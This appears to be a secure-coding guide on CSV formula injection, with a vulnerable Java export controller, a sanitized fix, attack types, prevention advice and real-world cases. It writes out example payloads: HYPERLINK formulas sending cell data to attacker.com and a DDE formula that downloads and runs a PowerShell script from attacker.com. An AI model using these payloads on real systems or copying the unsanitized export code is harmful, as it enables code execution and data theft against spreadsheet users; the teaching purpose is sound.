CSV Injection
CSV Injection, also known as Formula Injection, is a vulnerability that occurs when user-controlled data containing formula-triggering characters is included in CSV exports. When opened in spreadsheet applications like Excel or Google Sheets, these formulas execute, potentially compromising user systems or exfiltrating sensitive data.
What Is CSV Injection?
CSV Injection, also referred to as Formula Injection, is a security vulnerability that exploits the formula execution capabilities of spreadsheet applications. It occurs when an application exports data to CSV format without properly sanitizing user input that starts with special characters like equals (=), plus (+), minus (-), or at symbol (@). These characters are interpreted as the beginning of formulas by spreadsheet programs such as Microsoft Excel, Google Sheets, and LibreOffice Calc.
The vulnerability emerges from the fact that CSV files are plain text and do not inherently support formulas. However, when a spreadsheet application opens a CSV file, it automatically interprets any cell starting with these special characters as a formula and executes it. This means that if an attacker can inject a crafted payload into a data field that eventually ends up in a CSV export, that payload will execute when an unsuspecting user opens the file.
CSV Injection is particularly dangerous in business environments where CSV exports are commonly used for reporting, data analysis, and sharing information. Unlike traditional code injection attacks that target servers, CSV Injection targets end users directly, turning a seemingly harmless data export feature into a vector for executing malicious code on client machines. This makes it a subtle but potent attack that can bypass server-side security controls.
How It Works
The attacker enters a specially crafted string into an input field such as a username, comment, or profile field. This payload starts with a formula-triggering character like =, +, -, or @ followed by a malicious formula, for example: =CMD|'/C calc'!A0 or =HYPERLINK("http://attacker.com/?data="&A1,"Click here").
The application accepts the input and stores it in the database without sanitizing or escaping the formula-triggering characters. The data is treated as ordinary text from the application's perspective, so it passes through validation checks that focus on SQL injection or XSS but ignore CSV-specific threats.
A legitimate user, often an administrator or analyst, uses the application's data export functionality to download user data, transaction records, or reports in CSV format. The application retrieves the data from the database and writes it directly to a CSV file without sanitizing the content.
The user opens the downloaded CSV file using Microsoft Excel, Google Sheets, or another spreadsheet program. The application parses the CSV and automatically interprets cells starting with =, +, -, or @ as formulas rather than plain text.
The spreadsheet application executes the injected formula. Depending on the payload, this can trigger a variety of malicious actions: launching system commands via DDE (Dynamic Data Exchange), exfiltrating data to an attacker-controlled server via HYPERLINK or IMPORTXML, or performing actions that compromise the user's system. Older versions of Excel may execute these commands without warning, while modern versions show security prompts that users often dismiss.
Vulnerable Code Example
@RestController
public class ExportController {
@Autowired
private UserRepository userRepo;
@GetMapping("/export/users")
public void exportUsers(HttpServletResponse response) throws IOException {
response.setContentType("text/csv");
response.setHeader("Content-Disposition", "attachment; filename=users.csv");
PrintWriter writer = response.getWriter();
writer.println("ID,Username,Email,Comment");
List<User> users = userRepo.findAll();
for (User user : users) {
// VULNERABLE: Writing user data directly to CSV
// without sanitizing formula-triggering characters
writer.printf("%d,%s,%s,%s%n",
user.getId(),
user.getUsername(),
user.getEmail(),
user.getComment()
);
}
writer.flush();
}
}
// An attacker can register with:
// username: =CMD|'/C calc'!A0
// comment: =HYPERLINK("http://attacker.com/?data="&B2,"Click")
//
// When the CSV is opened in Excel, the formula executes,
// potentially launching calculator or exfiltrating data.Secure Code Example
@RestController
public class ExportController {
@Autowired
private UserRepository userRepo;
@GetMapping("/export/users")
public void exportUsers(HttpServletResponse response) throws IOException {
response.setContentType("text/csv");
response.setHeader("Content-Disposition", "attachment; filename=users.csv");
PrintWriter writer = response.getWriter();
writer.println("ID,Username,Email,Comment");
List<User> users = userRepo.findAll();
for (User user : users) {
// SECURE: Sanitize each field before writing to CSV
writer.printf("%d,%s,%s,%s%n",
user.getId(),
sanitizeCSV(user.getUsername()),
sanitizeCSV(user.getEmail()),
sanitizeCSV(user.getComment())
);
}
writer.flush();
}
private String sanitizeCSV(String value) {
if (value == null || value.isEmpty()) {
return value;
}
// Check if the value starts with a formula-triggering character
char firstChar = value.charAt(0);
if (firstChar == '=' || firstChar == '+' || firstChar == '-' ||
firstChar == '@' || firstChar == '\t' || firstChar == '\r') {
// Prefix with a single quote to prevent formula execution
return "'" + value;
}
// Escape double quotes and wrap in quotes if contains comma/newline
if (value.contains(",") || value.contains("\"") || value.contains("\n")) {
return "\"" + value.replace("\"", "\"\"") + "\"";
}
return value;
}
}
// With sanitization, any input starting with =, +, -, or @
// is prefixed with a single quote, which forces spreadsheet
// applications to treat it as text rather than a formula.Types of CSV Injection
Formula Injection
The most common type, where attackers inject spreadsheet formulas that execute when the CSV is opened. Examples include =CMD() or =SYSTEM() functions in older Excel versions, =HYPERLINK() to create deceptive links, or complex nested formulas using CONCATENATE() and IMPORTXML() to extract and transmit data. In Microsoft Excel, DDE (Dynamic Data Exchange) commands like =cmd|'/C calc'!A0 can launch system processes, though modern versions show security warnings.
Data Exfiltration
Attackers inject formulas designed to steal sensitive data from the spreadsheet and send it to an external server. A common technique is =HYPERLINK("http://attacker.com/?data="&A1,"Click here"), which displays a clickable link that transmits the contents of cell A1 when clicked. In Google Sheets, IMPORTXML() or IMPORTDATA() can be used to make HTTP requests containing cell data as URL parameters, silently exfiltrating information without user interaction. This is particularly dangerous when the CSV contains other sensitive data in adjacent cells.
Dynamic Data Exchange (DDE)
A legacy Microsoft technology that allows applications to share data and execute commands. DDE injection uses formulas like =cmd|'/C powershell IEX(wget attacker.com/payload.ps1)'!A0 to launch arbitrary system commands. When Excel opens a CSV containing DDE formulas, it may prompt the user to enable updates or links. If the user accepts, the formula executes with the user's privileges, potentially downloading and running malware, creating backdoors, or compromising the system. While newer Excel versions have restricted DDE by default, it remains a threat in organizations using older software or when users disable security warnings.
Impact
CSV Injection attacks can have severe consequences, particularly because they target end users rather than servers, making them harder to detect with traditional security measures. The impact depends on the spreadsheet application, its configuration, and the user's privileges.
Through DDE or other formula-based techniques, attackers can execute arbitrary commands on the victim's computer when they open the CSV file. This can lead to malware installation, creation of persistent backdoors, privilege escalation, or complete system compromise, all executed in the context of the user's privileges.
Injected formulas can silently transmit data from the spreadsheet to attacker-controlled servers. This is especially dangerous when the CSV export contains sensitive information like customer records, financial data, or employee details in adjacent columns. A single malicious formula can harvest and exfiltrate entire rows or columns of confidential data.
Attackers can inject formulas that create convincing hyperlinks or dialog prompts to harvest user credentials. For example, a HYPERLINK formula can display a legitimate-looking link text while directing to a phishing page designed to capture login credentials or other sensitive information.
Malicious formulas can be designed to consume excessive system resources, causing the spreadsheet application to hang or crash. Complex nested formulas with circular references, or formulas that trigger infinite loops, can make the file unusable and potentially crash the entire system, disrupting business operations and causing data loss if work is unsaved.
Prevention Checklist
Before writing data to CSV, check if any field starts with =, +, -, @, tab (\t), or carriage return (\r). If it does, prefix the value with a single quote (') or a tab character to force spreadsheet applications to treat it as literal text rather than a formula. This is the primary defense against CSV Injection.
Instead of manually building CSV strings, use well-tested CSV libraries like OpenCSV (Java), csv-parser (Node.js), or Python's csv module. These libraries handle proper escaping of special characters and can be configured to prevent formula injection. Ensure the library is up to date and configured with security best practices.
Implement input validation to detect and reject or sanitize data containing formula-triggering characters at the point of entry. While output sanitization is essential, preventing malicious payloads from being stored in the first place adds defense in depth. Use allowlists for expected character sets and reject or escape unexpected special characters.
Consider offering exports in formats that do not support formula execution, such as JSON, XML, or plain text. If CSV is necessary for compatibility, provide options for both sanitized CSV (safe for spreadsheet applications) and raw CSV (for programmatic processing), with clear warnings about the security implications of each format.
Train users, especially administrators and analysts who frequently work with CSV exports, about the risks of opening CSV files from untrusted sources or with suspicious content. Encourage them to enable security features in their spreadsheet applications, such as disabling automatic formula execution, DDE, and external links. Provide guidelines for safely handling exported data.
Include CSV Injection testing in your security assessment processes. Use test cases with payloads like =1+1, =CMD|'/C calc'!A0, or @SUM(1+1) to verify that exports are properly sanitized. Incorporate automated tests into your CI/CD pipeline to catch regressions. Conduct regular security audits of export functionality and review sanitization logic.
Real-World Examples
PayPal CSV Export Vulnerability
Security researchers discovered that PayPal's transaction history export feature was vulnerable to CSV Injection. An attacker could create a transaction with a malicious formula in the description field. When a merchant exported their transaction history and opened the CSV in Excel, the formula would execute, potentially compromising the merchant's system or exfiltrating sensitive business data.
Google Contacts Export
A vulnerability was found in Google Contacts' CSV export functionality. By adding a contact with a name starting with a formula character, an attacker could inject malicious formulas that would execute when the victim exported and opened their contacts in a spreadsheet application. Google patched this by implementing proper sanitization of exported contact data.
Fortigate Firewall Admin Panel
A CSV Injection vulnerability was discovered in Fortinet's FortiGate firewall administration interface. The vulnerability existed in the user and device management CSV export features. An attacker with low-level privileges could inject formulas through username or device name fields that would execute when an administrator exported user lists, potentially leading to command execution on the administrator's machine.
HackerOne Bug Bounty Reports
Multiple CSV Injection vulnerabilities were reported and validated through HackerOne's bug bounty platform across various high-profile targets. These included vulnerabilities in e-commerce platforms, CRM systems, and enterprise SaaS applications where CSV exports of customer data, orders, or analytics were susceptible to formula injection. Many of these vulnerabilities resulted in critical severity ratings due to the potential for remote code execution.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing CSV Injection vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.